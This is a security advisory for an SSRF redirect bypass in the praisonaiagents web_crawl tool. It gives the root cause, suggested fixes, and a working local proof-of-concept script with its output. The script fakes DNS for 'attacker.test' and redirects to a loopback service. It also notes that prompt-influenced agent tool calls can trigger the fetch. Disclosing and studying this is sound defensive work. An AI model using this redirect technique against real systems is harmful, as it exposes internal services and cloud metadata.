GHSA-8hjw-25cg-g52h
praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | praisonaiagents | >= 1.5.128, < 1.6.58 | 1.6.58 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
`praisonaiagents.tools.web_crawl_tools.web_crawl()` validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses `httpx.Client(follow_redirects=True)` and does not revalidate redirect targets.
An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by `web_crawl()`.
This appears to be an incomplete fix / patch bypass for the published `web_crawl` SSRF class (`GHSA-qq9r-63f6-v542` / `CVE-2026-40160`, and `GHSA-8f4v-xfm9-3244`).
## Affected Component
Package:
```text
praisonaiagents
```
File:
```text
src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py
```
Functions:
```text
web_crawl()
_crawl_with_httpx()
```
## Affected Versions
Validated affected:
- `praisonaiagents 1.5.128` via repository tag `v4.5.128`;
- `praisonaiagents 1.6.40` via repository tag `v4.6.40`;
- `praisonaiagents 1.6.56` via repository tag `v4.6.56`;
- current `origin/main` commit `095653d78a01cc6c80ff5b2dd20a8e5619686ddc`.
Suggested affected range for maintainer confirmation:
```text
>= 1.5.128, <= 1.6.56
```
No patched version is known to me at submission time.
## Root Cause
Current `web_crawl()` validates only the initially supplied URL:
- requires `http` or `https`;
- resolves the initial hostname with `socket.gethostbyname()`;
- rejects loopback/private/link-local/multicast/unspecified addresses unless `ALLOW_LOCAL_CRAWL=true`.
The default fetch sink then follows redirects:
```python
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
response = client.get(url)
```
There is no validation of intermediate or final redirect destinations before `httpx` fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.
## Local Reproduction
The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so `attacker.test` appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.
Run from a checkout of the repository:
```fish
env PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py
```
Observed output:
```text
DIRECT_CONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback
```
The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.
With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:
```text
REDIRECT_HIT: True
INTERNAL_HIT: False
```
## Impact
If an attacker can influence URLs passed to `web_crawl()`, directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the `web_crawl()` result.
Practical impact includes:
- reading loopback-only HTTP services;
- probing private network services;
- reading cloud metadata endpoints where reachable and not otherwise protected.
This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.
## Severity
This mirrors the CVSS v4.0 shape already used for the prior `web_crawl` SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.
## Suggested Fix
- Set `follow_redirects=False` in `_crawl_with_httpx()`, or handle redirects manually and validate each `Location` target before following it.
- Centralize the URL validation used by server-side fetch tools.
- Validate every resolved address using `socket.getaddrinfo()`, not only the first `gethostbyname()` result.
- Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.
- Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.
## PoV
```python
#!/usr/bin/env python3
"""Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.
This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""
from __future__ import annotations
import http.server
import os
import socket
import socketserver
import threading
from typing import Any
from praisonaiagents.tools.web_crawl_tools import web_crawl
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"INTERNAL-SECRET-FROM-LOOPBACK"
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, *_args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def main() -> int:
os.environ.pop("ALLOW_LOCAL_CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal_port = internal.server_address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect_port = redirect.server_address[1]
threading.Thread(target=internal.serve_forever, daemon=True).start()
threading.Thread(target=redirect.serve_forever, daemon=True).start()
original_gethostbyname = socket.gethostbyname
original_getaddrinfo = socket.getaddrinfo
def fake_gethostbyname(host: str) -> str:
if host == "attacker.test":
return "93.184.216.34"
return original_gethostbyname(host)
def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original_getaddrinfo(host, port, *args, **kwargs)
socket.gethostbyname = fake_gethostbyname
socket.getaddrinfo = fake_getaddrinfo
try:
direct_control = web_crawl(
f"http://127.0.0.1:{internal_port}/secret",
provider="httpx",
)
redirect_result = web_crawl(
f"http://attacker.test:{redirect_port}/go",
provider="httpx",
)
finally:
socket.gethostbyname = original_gethostbyname
socket.getaddrinfo = original_getaddrinfo
redirect.shutdown()
internal.shutdown()
redirect.server_close()
internal.server_close()
print("DIRECT_CONTROL:", direct_control)
print("REDIRECT_RESULT:", redirect_result)
print("REDIRECT_SERVER_HIT:", bool(redirect.hit)) # type: ignore[attr-defined]
print("INTERNAL_SERVER_HIT:", bool(internal.hit)) # type: ignore[attr-defined]
if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control):
raise SystemExit("control failed: direct loopback was not blocked")
if not isinstance(redirect_result, dict):
raise SystemExit("bypass failed: unexpected result type")
if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")):
raise SystemExit("bypass failed: redirect target content was not returned")
if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined]
raise SystemExit("bypass failed: expected local servers were not hit")
print("PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback")
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8hjw-25cg-g52h
- https://nvd.nist.gov/vuln/detail/CVE-2026-55523
- https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1
- https://github.com/MervinPraison/PraisonAI
- https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58